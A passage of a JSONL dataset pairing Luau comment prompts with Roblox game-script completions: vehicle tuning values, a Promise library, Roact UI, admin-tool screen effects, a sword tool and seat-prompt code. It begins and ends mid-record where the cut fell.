31\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 29\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .18\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .15\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 320\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 50 \t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 20000\t -- Steering Aggressiveness\n\t"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn function(p1)\n\tif p1 < 0 then\n\t\tp1 = p1 + (math.floor(-p1 / 360) + 1) * 360;\n\tend;\n\treturn p1 % 360;\nend;\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nlocal u2 = Random.new();\nreturn function(...)\n\tlocal v1 = { ... };\n\tif type(v1[1][1]) == \"table\" then\n\t\tv1 = u1.Functions.CloneTable(v1[1]);\n\tend;\n\tif #v1 < 2 then\n\t\treturn v1[1][1], nil, 100;\n\tend;\n\tlocal u3 = nil;\n\t(function()\n\t\tlocal v2 = 0;\n\t\tfor v3, v4 in ipairs(v1) do\n\t\t\tv2 = v2 + v4[2];\n\t\tend;\n\t\tfor v5, v6 in ipairs(v1) do\n\t\t\tlocal v7 = v6[2];\n\t\t\tv6[2] = v7 / v2;\n\t\t\tv6[3] = v7;\n\t\tend;\n\tend)();\n\tu3 = u2:NextNumber();\n\tlocal v8 = (function()\n\t\tlocal v9 = 0;\n\t\tfor v10, v11 in ipairs(v1) do\n\t\t\tv9 = v9 + v11[2];\n\t\t\tif u3 <= v9 then\n\t\t\t\treturn v11;\n\t\t\tend;\n\t\tend;\n\tend)();\n\treturn v8[1], u3, v8[2];\nend;\n"} +{"prompt": "-- Set the tank's welds to face the right direction", "completion": "\nfunction setTurretDirection(elevation, rotation)\n\tparts.MantletBase.MainGunWeld.C1 = CFrame.new(0,0,0) * CFrame.fromEulerAnglesXYZ(0, elevation, 0);\n\tparts.TurretRing2.TurretRingWeld.C1 = CFrame.new(0,0,0.8) * CFrame.fromEulerAnglesXYZ(0, 0, rotation); \nend\n"} +{"prompt": "--//Shifting//-", "completion": "\nif key == \"1\" then\n\t\t carSeat.Wheels.FR.Spring.Stiffness = 0\n \t\t carSeat.Wheels.FL.Spring.Stiffness = 0\n\t\t carSeat.Wheels.RR.Spring.Stiffness = 0\n\t\t carSeat.Wheels.RL.Spring.Stiffness = 0\nelseif key == \"2\" then\t\t \n\tcarSeat.Wheels.FR.Spring.Stiffness = 12000\n\tcarSeat.Wheels.FL.Spring.Stiffness = 12000\n\tcarSeat.Wheels.RR.Spring.Stiffness = 12000\n\tcarSeat.Wheels.RL.Spring.Stiffness = 12000\n\tend\nend)\n\n\n"} +{"prompt": "--[[\n\tCreates a new promise that receives the result of this promise.\n\tThe given callbacks are invoked depending on that result.\n]]", "completion": "\nfunction Promise.prototype:andThen(successHandler, failureHandler)\n\tself._unhandledRejection = false\n\n\t-- Create a new promise to follow this part of the chain\n\treturn Promise.new(function(resolve, reject)\n\t\t-- Our default callbacks just pass values onto the next promise.\n\t\t-- This lets success and failure cascade correctly!\n\n\t\tlocal successCallback = resolve\n\t\tif successHandler then\n\t\t\tsuccessCallback = createAdvancer(successHandler, resolve, reject)\n\t\tend\n\n\t\tlocal failureCallback = reject\n\t\tif failureHandler then\n\t\t\tfailureCallback = createAdvancer(failureHandler, resolve, reject)\n\t\tend\n\n\t\tif self._status == Promise.Status.Started then\n\t\t\t-- If we haven't resolved yet, put ourselves into the queue\n\t\t\ttable.insert(self._queuedResolve, successCallback)\n\t\t\ttable.insert(self._queuedReject, failureCallback)\n\t\telseif self._status == Promise.Status.Resolved then\n\t\t\t-- This promise has already resolved! Trigger success immediately.\n\t\t\tsuccessCallback(unpack(self._values, 1, self._valuesLength))\n\t\telseif self._status == Promise.Status.Rejected then\n\t\t\t-- This promise died a terrible death! Trigger failure immediately.\n\t\t\tfailureCallback(unpack(self._values, 1, self._valuesLength))\n\t\tend\n\tend)\nend\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data)\n\tlocal gui = client.UI.Prepare(script.Parent.Parent) -- Change it to a TextLabel to avoid chat clearing\n\tlocal playergui = service.PlayerGui\n\tlocal frame = gui.Frame\n\tlocal msgr = frame.Right.Message\n\tlocal ttlr = frame.Right.Title\n\tlocal msgl = frame.Left.Message\n\tlocal ttll = frame.Left.Title\n\t\n\tlocal gIndex = data.gIndex\n\tlocal gTable = data.gTable\n\t\n\tlocal title = data.Title\n\tlocal message = data.Message\n\tlocal scroll = data.Scroll\n\tlocal tim = data.Time\n\t\n\tif not data.Message or not data.Title then gui:Destroy() end\n\t\n\tttlr.Text = title\n\tmsgr.Text = message\n\tttll.Text = title\n\tmsgl.Text = message\n\t\n\tlocal function fadeIn()\n\t\tif not gone then\n\t\t\tgTable:Ready()\n\t\t\tframe.Right.Size=UDim2.new(0.5,0,0,72+msgr.TextBounds.Y)\n\t\t\tframe.Left.Size=UDim2.new(0.5,0,0,72+msgl.TextBounds.Y)\n\t\t\tframe.Notify:Play()\n\t\t\tlocal Tween = game:GetService(\"TweenService\"):Create(frame.Right,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),{AnchorPoint=Vector2.new(1, 0.5)})\n\t\t\tlocal Tween2 = game:GetService(\"TweenService\"):Create(frame.Left,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),{AnchorPoint=Vector2.new(0, 0.5)})\n\t\t\tTween:Play()\n\t\t\tTween2:Play()\n\t\t\tTween.Completed:Wait()\n\t\tend\n\tend\n\t\n\tlocal function fadeOut()\n\t\tif not gone then\n\t\t\tlocal Tween = game:GetService(\"TweenService\"):Create(frame.Right,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.In),{AnchorPoint=Vector2.new(0, 0.5)})\n\t\t\tlocal Tween2 = game:GetService(\"TweenService\"):Create(frame.Left,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.In),{AnchorPoint=Vector2.new(1, 0.5)})\n\t\t\tTween:Play()\n\t\t\tTween2:Play()\n\t\t\tTween.Completed:Wait()\n\t\t\tservice.UnWrap(gui):Destroy()\n\t\t\tgone = true\n\t\tend\n\tend\n\t\n\tgTable.CustomDestroy = function()\n\t\tif not gone then\n\t\t\tgone = true\n\t\t\tpcall(fadeOut)\n\t\tend\n\t\t\n\t\tpcall(function() service.UnWrap(gui):Destroy() end)\n\tend\n\t\n\t\n\t--[[if not scroll then\n\t\tmsg.Text = message\n\telse\n\t\tRoutine(function()\n\t\t\twait(0.5)\n\t\t\tfor i = 1, #message do \n\t\t\t\tmsg.Text = msg.Text .. message:sub(i,i) \n\t\t\t\twait(0.05) \n\t\t\tend \n\t\tend)\n\tend--]] -- For now?\n\tgame:GetService(\"RunService\").Heartbeat:wait()\n\tfadeIn()\n\twait(tim or 5)\n\tif not gone then\n\t\tfadeOut()\n\tend\n\t\n\t--[[\n\t\n\tframe.Position = UDim2.new(0.5,-175,-1.5,0)\n\t\n\tgui.Parent = playergui\n\t\n\tframe:TweenPosition(UDim2.new(0.5,-175,0.25,0),nil,nil,0.5)\n\t\n\tif not scroll then\n\t\tmsg.Text = message\n\t\twait(tim or 10)\n\telse\n\t\twait(0.5)\n\t\tfor i = 1, #message do \n\t\t\tmsg.Text = msg.Text .. message:sub(i,i) \n\t\t\twait(0.05) \n\t\tend \n\t\twait(tim or 5) \n\tend\n\t\n\tif frame then\n\t\tframe:TweenPosition(UDim2.new(0.5,-175,-1.5,0),nil,nil,0.5)\n\t\twait(1)\n\t\tgui:Destroy()\n\tend\n\t--]]\nend\n"} +{"prompt": "----//Variables//", "completion": "\nlocal CurrentCamera = workspace.CurrentCamera\nlocal Plr = game.Players.LocalPlayer\n"} +{"prompt": "-- local Warning = require(script.Warning)", "completion": "\n\nlocal App = Roact.PureComponent:extend(\"App\")\n\nfunction App:init()\n\tself.state = {\n\t\tabsoluteSize = Vector2.new(0, 0),\n\t\tgameStage = StageManager.getStage()\n\t}\n\n\tself.onAbsoluteSizeChange = function(rbx)\n\t\tself:setState({\n\t\t\tabsoluteSize = rbx.AbsoluteSize\n\t\t})\n\tend\nend\n\nfunction App:didMount()\n\tself.broadcastConnection = Broadcast.registerHandler(\"GAME_STAGE_CHANGE\", function(stage)\n\t\tself:setState({\n\t\t\tgameStage = stage,\n\t\t})\n\tend)\nend\n\nfunction App:willUnmount()\n\tBroadcast.unregisterHandler(self.broadcastConnection)\nend\n\nfunction App:render()\n\tlocal stage = self.state.gameStage\n\n\tif stage == \"Lobby\" then\n\t\treturn Roact.createFragment({\n\t\t\tLobby = Roact.createElement(Lobby)\n\t\t})\n\telse\n\t\tlocal hud = {\n\t\t\tHudHealthBar = Roact.createElement(HudHealthBar),\n\t\t\tVersion = Roact.createElement(Version),\n\t\t\tBuilding = Roact.createElement(Building),\n\t\t\tToggleBuildingButton = Roact.createElement(ToggleBuildingButton),\n\t\t\tRotateButton = Roact.createElement(RotateButton),\n\t\t\tPingList = Roact.createElement(PingList),\n\t\t\tEventStream = Roact.createElement(EventStream),\n\t\t\t-- Warning = Roact.createElement(Warning),\n\t\t}\n\n\t\tif stage == \"Queue\" and not Conf.disable_queue then\n\t\t\t-- TODO: Queue specific UI\n\t\t\thud.QueueStatus = Roact.createElement(Queue, {\n\t\t\t\tscreenSize = self.state.absoluteSize,\n\t\t\t})\n\t\telse\n\t\t\tif Conf.debug_mode then\n\t\t\t\thud.ReplicationFocus = Roact.createElement(ReplicationFocus)\n\t\t\t\thud.PlayerCount = Roact.createElement(PlayerCount)\n\t\t\tend\n\t\t\thud.Leaderboard = Roact.createElement(Leaderboard)\n\t\t\thud.LeaderboardButton = Roact.createElement(LeaderboardButton)\n\t\t\thud.ToggleMapButton = Roact.createElement(ToggleMapButton)\n\t\t\thud.TeamScoreDisplay = Roact.createElement(TeamScoreDisplay)\n\t\t\thud.EndGameMessage = Roact.createElement(EndGameMessage)\n\t\tend\n\n\t\treturn Roact.createFragment({\n\t\t\tGameUI = Roact.createElement(\"ScreenGui\", {\n\t\t\t\tIgnoreGuiInset = true,\n\t\t\t\tResetOnSpawn = false,\n\t\t\t\tZIndexBehavior = Enum.ZIndexBehavior.Sibling,\n\t\t\t\t[Roact.Change.AbsoluteSize] = self.onAbsoluteSizeChange,\n\t\t\t}, hud),\n\t\t\t-- These are billboard guis\n\t\t\tPickupInfo = Roact.createElement(PickupInfo),\n\t\t\tActionButton = Roact.createElement(ActionButton),\n\t\t\tTeamIndicators = Roact.createElement(TeamIndicators),\n\t\t})\n\tend\nend\n\nreturn App\n"} +{"prompt": "-- Get the StarterGui", "completion": "\nlocal StarterGui = game.StarterGui\n"} +{"prompt": "--Put this script in the StarterGui or the StarterPack to work!", "completion": "\n\nlocal Player = game.Players.LocalPlayer\n\ngame:GetService(\"RunService\").RenderStepped:connect(function()\n\tlocal c = game.Workspace:FindFirstChild(Player.Name)\n\tif c then\n\t\tc[\"LeftHand\"].LocalTransparencyModifier = 0\n\t\tc[\"RightHand\"].LocalTransparencyModifier = 0\n\t\t\n\t\tc.LeftHand.Reactor.Neon.LocalTransparencyModifier = 0\n\t\tc.LeftHand.Reactor.Part.LocalTransparencyModifier = 0\n\t\tc.LeftHand.Reactor.Part2.LocalTransparencyModifier = 0\n\t\t\n\t\tc.RightHand.Reactor.Neon.LocalTransparencyModifier = 0\n\t\tc.RightHand.Reactor.Part.LocalTransparencyModifier = 0\n\t\tc.RightHand.Reactor.Part2.LocalTransparencyModifier = 0\n\tend\nend)\n"} +{"prompt": "-- A state object whose value can be set at any time by the user.", "completion": "\nexport type State = PubTypes.Value & {\n\t_value: T\n}\n"} +{"prompt": "--// All global vars will be wiped/replaced except script\n--// All guis are autonamed using client.Functions.GetRandom()", "completion": "\n\nreturn function(data, env)\n\tif env then\n\t\tsetfenv(1, env)\n\tend\n\t\n\tlocal gui = service.New(\"ScreenGui\")\n\tlocal mode = data.Mode\n\tlocal gTable = client.UI.Register(gui, {Name = \"Effect\"})\n\tlocal BindEvent = gTable.BindEvent\n\n\tclient.UI.Remove(\"Effect\", gui)\n\tgTable:Ready()\n\n\tif mode == \"Off\" or not mode then\n\t\tgTable:Destroy()\n\telseif mode == \"Pixelize\" then\n\t\tlocal frame = Instance.new(\"Frame\")\n\t\tframe.Parent = gui\n\t\tlocal camera = workspace.CurrentCamera\n\t\tlocal pixels = {}\n\n\t\tlocal resY = data.Resolution or 20\n\t\tlocal resX = data.Resolution or 20\n\t\tlocal depth = 0\n\t\tlocal distance = data.Distance or 128\n\n\t\tlocal function renderScreen()\n\t\t\tfor _, pixel in pixels do\n\t\t\t\tlocal ray = camera:ScreenPointToRay(pixel.X, pixel.Y, depth)\n\t\t\t\tlocal result = workspace:Raycast(ray.Origin, ray.Direction * distance)\n\t\t\t\t\n\t\t\t\tif result then\n\t\t\t\t\tlocal part, endPoint = result.Instance, result.Position\n\t\t\t\t\tpixel.Pixel.BackgroundColor3 = if part and part.Transparency < 1\n\t\t\t\t\t\tthen part.BrickColor.Color\n\t\t\t\t\t\telse Color3.fromRGB(105, 170, 255)\n\t\t\t\t\t\n\t\t\t\telse\n\t\t\t\t\tpixel.Pixel.BackgroundColor3 = Color3.fromRGB(105, 170, 255)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tframe.Size = UDim2.new(1, 0, 1, 40)\n\t\tframe.Position = UDim2.new(0, 0, 0, -35)\n\t\tfor y = 0, gui.AbsoluteSize.Y+50, resY do\n\t\t\tfor x = 0, gui.AbsoluteSize.X+30, resX do\n\t\t\t\tlocal pixel = service.New(\"TextLabel\", {\n\t\t\t\t\tParent = frame;\n\t\t\t\t\tText = \"\";\n\t\t\t\t\tBorderSizePixel = 0;\n\t\t\t\t\tSize = UDim2.fromOffset(resX, resY);\n\t\t\t\t\tPosition = UDim2.fromOffset(x-(resX/2), y-(resY/2));\n\t\t\t\t\tBackgroundColor3 = Color3.fromRGB(105, 170, 255);\n\t\t\t\t})\n\t\t\t\ttable.insert(pixels, {Pixel = pixel, X = x, Y = y})\n\t\t\tend\n\t\tend\n\n\t\twhile task.wait() and not gTable.Destroyed and gui.Parent do\n\t\t\tif not gTable.Destroyed and not gTable.Active then\n\t\t\t\ttask.wait(5)\n\t\t\telse\n\t\t\t\trenderScreen()\n\t\t\tend\n\t\tend\n\n\t\tgTable:Destroy()\n\telseif mode == \"FadeOut\" then\n\t\tservice.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)\n\t\tservice.UserInputService.MouseIconEnabled = false\n\n\t\tfor _, v in service.PlayerGui:GetChildren() do\n\t\t\tpcall(function() if v ~= gui then v:Destroy() end end)\n\t\tend\n\n\t\tlocal blur = service.New(\"BlurEffect\", {\n\t\t\tName = \"Adonis_FadeOut_Blur\";\n\t\t\tParent = service.Lighting;\n\t\t\tSize = 0;\n\t\t})\n\n\t\tlocal bg = service.New(\"Frame\", {\n\t\t\tParent = gui;\n\t\t\tBackgroundTransparency = 1;\n\t\t\tBackgroundColor3 = Color3.new(0,0,0);\n\t\t\tSize = UDim2.new(2,0,2,0);\n\t\t\tPosition = UDim2.new(-0.5,0,-0.5,0);\n\t\t})\n\n\t\tfor i = 1, 0, -0.01 do\n\t\t\tbg.BackgroundTransparency = i\n\t\t\tblur.Size = 56 * (1 - i);\n\t\t\ttask.wait(0.1)\n\t\tend\n\n\t\tbg.BackgroundTransparency = 0\n\telseif mode == \"Trippy\" then\n\t\tlocal v = service.Player\n\t\tlocal bg = Instance.new(\"Frame\")\n\n\t\tbg.BackgroundColor3 = Color3.new(0,0,0)\n\t\tbg.BackgroundTransparency = 0\n\t\tbg.Size = UDim2.new(10,0,10,0)\n\t\tbg.Position = UDim2.new(-5,0,-5,0)\n\t\tbg.ZIndex = 10\n\t\tbg.Parent = gui\n\n\t\twhile gui and gui.Parent do\n\t\t\ttask.wait(1/44)\n\t\t\tbg.BackgroundColor3 = Color3.new(math.random(255)/255, math.random(255)/255, math.random(255)/255)\n\t\tend\n\n\t\tif gui then gui:Destroy() end\n\telseif mode == \"Spooky\" then\n\t\tlocal frame = Instance.new(\"Frame\")\n\t\tframe.BackgroundColor3=Color3.new(0,0,0)\n\t\tframe.Size=UDim2.new(1,0,1,50)\n\t\tframe.Position=UDim2.new(0,0,0,-50)\n\t\tframe.Parent = gui\n\t\tlocal img = Instance.new(\"ImageLabel\")\n\t\timg.Position = UDim2.new(0,0,0,0)\n\t\timg.Size = UDim2.new(1,0,1,0)\n\t\timg.BorderSizePixel = 0\n\t\timg.BackgroundColor3 = Color3.new(0,0,0)\n\t\timg.Parent = frame\n\t\tlocal textures = {\n\t\t\t299735022;\n\t\t\t299735054;\n\t\t\t299735082;\n\t\t\t299735103;\n\t\t\t299735133;\n\t\t\t299735156;\n\t\t\t299735177;\n\t\t\t299735198;\n\t\t\t299735219;\n\t\t\t299735245;\n\t\t\t299735269;\n\t\t\t299735289;\n\t\t\t299735304;\n\t\t\t299735320;\n\t\t\t299735332;\n\t\t\t299735361;\n\t\t\t299735379;\n\t\t}\n\n\t\tlocal sound = Instance.new(\"Sound\")\n\t\tsound.SoundId = \"rbxassetid://174270407\"\n\t\tsound.Looped = true\n\t\tsound.Parent = gui\n\t\tsound:Play()\n\n\t\twhile gui and gui.Parent do\n\t\t\tfor i=1,#textures do\n\t\t\t\timg.Image = `rbxassetid://{textures[i]}`\n\t\t\t\ttask.wait(0.1)\n\t\t\tend\n\t\tend\n\t\tsound:Stop()\n\telseif mode == \"lifeoftheparty\" then\n\t\tlocal frame = Instance.new(\"Frame\")\n\t\tframe.BackgroundColor3 = Color3.new(0,0,0)\n\t\tframe.Size = UDim2.new(1,0,1,50)\n\t\tframe.Position = UDim2.new(0,0,0,-50)\n\t\tframe.Parent = gui\n\t\tlocal img = Instance.new(\"ImageLabel\")\n\t\timg.Position = UDim2.new(0,0,0,0)\n\t\timg.Size = UDim2.new(1,0,1,0)\n\t\timg.BorderSizePixel = 0\n\t\timg.BackgroundColor3 = Color3.new(0,0,0)\n\t\timg.Parent = frame\n\t\tlocal textures = {\n\t\t\t299733203;\n\t\t\t299733248;\n\t\t\t299733284;\n\t\t\t299733309;\n\t\t\t299733355;\n\t\t\t299733386;\n\t\t\t299733404;\n\t\t\t299733425;\n\t\t\t299733472;\n\t\t\t299733489;\n\t\t\t299733501;\n\t\t\t299733523;\n\t\t\t299733544;\n\t\t\t299733551;\n\t\t\t299733564;\n\t\t\t299733570;\n\t\t\t299733581;\n\t\t\t299733597;\n\t\t\t299733609;\n\t\t\t299733621;\n\t\t\t299733632;\n\t\t\t299733640;\n\t\t\t299733648;\n\t\t\t299733663;\n\t\t\t299733674;\n\t\t\t299733694;\n\n\t\t}\n\t\tlocal sound = Instance.new(\"Sound\")\n\t\tsound.SoundId = \"rbxassetid://172906410\"\n\t\tsound.Looped = true\n\t\tsound.Parent = gui\n\t\tsound:Play()\n\n\t\twhile gui and gui.Parent do\n\t\t\tfor i=1,#textures do\n\t\t\t\timg.Image = `rbxassetid://{textures[i]}`\n\t\t\t\ttask.wait(0.1)\n\t\t\tend\n\t\tend\n\n\t\tsound:Stop()\n\telseif mode == \"trolling\" then\n\t\tlocal frame = Instance.new(\"Frame\")\n\t\tframe.BackgroundColor3 = Color3.new(0,0,0)\n\t\tframe.Size = UDim2.new(1,0,1,50)\n\t\tframe.Position = UDim2.new(0,0,0,-50)\n\t\tframe.Parent = gui\n\t\tlocal img = Instance.new(\"ImageLabel\")\n\t\timg.Position = UDim2.new(0,0,0,0)\n\t\timg.Size = UDim2.new(1,0,1,0)\n\t\timg.BorderSizePixel = 0\n\t\timg.BackgroundColor3 = Color3.new(0,0,0)\n\t\timg.Parent = frame\n\t\tlocal textures = {\n\t\t\t\"6172043688\";\n\t\t\t\"6172044478\";\n\t\t\t\"6172045193\";\n\t\t\t\"6172045797\";\n\t\t\t\"6172046490\";\n\t\t\t\"6172047172\";\n\t\t\t\"6172047947\";\n\t\t\t\"6172048674\";\n\t\t\t\"6172050195\";\n\t\t\t\"6172050892\";\n\t\t\t\"6172051669\";\n\t\t\t\"6172053085\";\n\t\t\t\"6172054752\";\n\t\t\t\"6172054752\";\n\t\t\t\"6172053085\";\n\t\t\t\"6172051669\";\n\t\t\t\"6172050892\";\n\t\t\t\"6172050195\";\n\t\t\t\"6172048674\";\n\t\t\t\"6172047947\";\n\t\t\t\"6172047172\";\n\t\t\t\"6172046490\";\n\t\t\t\"6172045797\";\n\t\t\t\"6172045193\";\n\t\t\t\"6172044478\";\n\t\t\t\"6172043688\";\n\n\t\t}\n\t\tlocal sound = Instance.new(\"Sound\")\n\t\tsound.SoundId = \"rbxassetid://229681899\"\n\t\tsound.Looped = true\n\t\tsound.Parent = gui\n\t\tsound:Play()\n\n\t\twhile gui and gui.Parent do\n\t\t\tfor i=1,#textures do\n\t\t\t\timg.Image = `rbxassetid://{textures[i]}`\n\t\t\t\ttask.wait(0.13)\n\t\t\tend\n\t\tend\n\n\t\tsound:Stop()\n\telseif mode == \"Strobe\" then\n\t\tlocal bg = Instance.new(\"Frame\")\n\t\tbg.BackgroundColor3 = Color3.new(0,0,0)\n\t\tbg.BackgroundTransparency = 0\n\t\tbg.Size = UDim2.new(10,0,10,0)\n\t\tbg.Position = UDim2.new(-5,0,-5,0)\n\t\tbg.ZIndex = 10\n\t\tbg.Parent = gui\n\n\t\twhile gui and gui.Parent do\n\t\t\ttask.wait(1/44)\n\t\t\tbg.BackgroundColor3 = Color3.new(1,1,1)\n\t\t\ttask.wait(1/44)\n\t\t\tbg.BackgroundColor3 = Color3.new(0,0,0)\n\t\tend\n\t\tif gui then gui:Destroy() end\n\telseif mode == \"Blind\" then\n\t\tlocal bg = Instance.new(\"Frame\")\n\t\tbg.BackgroundColor3 = Color3.new(0,0,0)\n\t\tbg.BackgroundTransparency = 0\n\t\tbg.Size = UDim2.new(10,0,10,0)\n\t\tbg.Position = UDim2.new(-5,0,-5,0)\n\t\tbg.ZIndex = 10\n\t\tbg.Parent = gui\n\telseif mode == \"ScreenImage\" then\n\t\tlocal bg = Instance.new(\"ImageLabel\")\n\t\tbg.Image=`rbxassetid://{data.Image}`\n\t\tbg.BackgroundColor3 = Color3.new(0,0,0)\n\t\tbg.BackgroundTransparency = 0\n\t\tbg.Size = UDim2.new(1,0,1,0)\n\t\tbg.Position = UDim2.new(0,0,0,0)\n\t\tbg.ZIndex = 10\n\t\tbg.Parent = gui\n\telseif mode == \"ScreenVideo\" then\n\t\tlocal bg = Instance.new(\"VideoFrame\")\n\t\tbg.Video=`rbxassetid://{data.Video}`\n\t\tbg.BackgroundColor3 = Color3.new(0,0,0)\n\t\tbg.BackgroundTransparency = 0\n\t\tbg.Size = UDim2.new(1,0,1,0)\n\t\tbg.Position = UDim2.new(0,0,0,0)\n\t\tbg.ZIndex = 10\n\t\tbg.Parent = gui\n\t\tbg:Play()\n\tend\nend\n"} +{"prompt": "--Var", "completion": "\nlocal pendingNavigations: {string} = {}\nlocal isPending: boolean = false\nlocal nextShowTime: number = 0\n"} +{"prompt": "--put this in starterplayerscripts or startergui", "completion": "\n\ngame:GetService(\"StarterGui\"):SetCore(\"SendNotification\", {\n\tTitle = \"Gamepass Admin\"; --must be string\n\tText = \"You're now an admin! Click to view commands.\"; --must be string\n\tIcon = \"\"; --optional\n\tDuration = 5; -- defaults to 5 secs if no duration is set\n\tButton1 = \"Button\";\n})\n"} +{"prompt": "--[[**\n\tensures Roblox TweenInfo type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.TweenInfo = primitive(\"TweenInfo\")\n"} +{"prompt": "--muffins stuff", "completion": "\nlocal DM = script.Parent:WaitForChild(\"DriveMode\")\n\n"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nlocal damage = 3\n\n\nlocal slash_damage = 6\n\n\nsword = script.Parent.Handle\nTool = script.Parent\n\n\nlocal SlashSound = Instance.new(\"Sound\")\nSlashSound.SoundId = \"http://www.roblox.com/Asset/?ID=12135982\"\nSlashSound.Parent = sword\nSlashSound.Volume = .7\n\nfunction isTurbo(character)\n\treturn character:FindFirstChild(\"PaperHat\") ~= nil\nend\n\n\nfunction blow(hit)\n\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\tlocal hum = vCharacter:findFirstChild(\"Humanoid\") -- non-nil if tool held by a character\n\tif humanoid~=nil and humanoid ~= hum and hum ~= nil then\n\t\t-- final check, make sure sword is in-hand\n\n\t\tlocal right_arm = vCharacter:FindFirstChild(\"Right Arm\")\n\t\tif (right_arm ~= nil) then\n\t\t\tlocal joint = right_arm:FindFirstChild(\"RightGrip\")\n\t\t\tif (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then\n\t\t\t\tlocal d = damage\n\t\t\t\tif (isTurbo(vCharacter) == true) then d = d * 2.5 end\n\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\thumanoid:TakeDamage(d)\n\t\t\t\twait(1)\n\t\t\t\tuntagHumanoid(humanoid)\n\t\t\tend\n\t\tend\n\n\n\tend\nend\n\n\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\nend\n\nfunction untagHumanoid(humanoid)\n\tif humanoid ~= nil then\n\t\tlocal tag = humanoid:findFirstChild(\"creator\")\n\t\tif tag ~= nil then\n\t\t\ttag.Parent = nil\n\t\tend\n\tend\nend\n\n\nfunction attack()\n\tdamage = slash_damage\n\tSlashSound:play()\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Slash\"\n\tanim.Parent = Tool\nend\n\n\nfunction swordUp()\n\tTool.GripForward = Vector3.new(-1,0,0)\n\tTool.GripRight = Vector3.new(0,1,0)\n\tTool.GripUp = Vector3.new(0,0,1)\nend\n\nfunction swordOut()\n\tTool.GripForward = Vector3.new(0,0,1)\n\tTool.GripRight = Vector3.new(0,-1,0)\n\tTool.GripUp = Vector3.new(-1,0,0)\nend\n\n\n\nTool.Enabled = true\n\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\t\n\n\tattack()\n\n\twait(.4)\n\n\tTool.Enabled = true\nend\n\n\nfunction onEquipped()\n\tSlashSound:play()\nend\n\n\nscript.Parent.Activated:connect(onActivated)\nscript.Parent.Equipped:connect(onEquipped)\n\n\nconnection = sword.Touched:connect(blow)\n\n\n"} +{"prompt": "-- Fonction pour ajouter un recul \u00e0 la cam\u00e9ra", "completion": "\nlocal function addRecoil(recoilVector)\n\tcameraRecoil = cameraRecoil + recoilVector\nend\n"} +{"prompt": "--// Delcarables", "completion": "\n\nlocal active = false\n\nlocal TS = game:GetService(\"TweenService\")\n"} +{"prompt": "--[=[\n\tFired when the Merch Booth is opened.\n\n\tThis fires when either the catalog or item detail view are opened.\n\n\t@prop merchBoothOpened RBXScriptSignal\n\t@within MerchBooth\n\t@client\n]=]", "completion": "\nuiStatesEvents.merchBoothOpened = Instance.new(\"BindableEvent\")\n"} +{"prompt": "-- Define the tool the gun is attached to", "completion": "\nlocal tool = script.Parent\n"} +{"prompt": "--Tell if a seat is flipped", "completion": "\nlocal function isFlipped(Seat)\n\tlocal UpVector = Seat.CFrame.upVector\n\tlocal Angle = math.deg(math.acos(UpVector:Dot(Vector3.new(0, 1, 0))))\n\treturn Angle >= MIN_FLIP_ANGLE\nend\n\nlocal function createPrompt(prompt, inputType)\n\tlocal seat = prompt.Parent.Parent\n\tlocal buttonGui = script:WaitForChild(\"ButtonGuiPrototype\")\n\tlocal promptUI = buttonGui:Clone()\n\tpromptUI.Name = \"ButtonGui\"\n\tpromptUI.Enabled = true\n\tpromptUI.Adornee = prompt.Parent\n\t\n\t\n\tlocal EnterImageButton = promptUI:WaitForChild(\"ButtonImage\")\n\tlocal FlipImageButton = promptUI:WaitForChild(\"FlipImage\")\n\tlocal BackgroundDesktop = promptUI:WaitForChild(\"BackgroundDesktop\")\n\tlocal BackgroundConsole = promptUI:WaitForChild(\"BackgroundConsole\")\n\tlocal ButtonPrompt = promptUI:WaitForChild(\"ButtonPrompt\")\n\n\t--Switch button type\n\tlocal DriverButtonId\n\tlocal DriverButtonPressedId\n\tlocal PassengerButtonId\n\tlocal PassengerButtonPressedId\n\tif inputType == Enum.ProximityPromptInputType.Keyboard then\n\t\tDriverButtonId = \"rbxassetid://2848250902\"\n\t\tDriverButtonPressedId = \"rbxassetid://2848250902\"\n\t\tPassengerButtonId = \"rbxassetid://2848251564\"\n\t\tPassengerButtonPressedId = 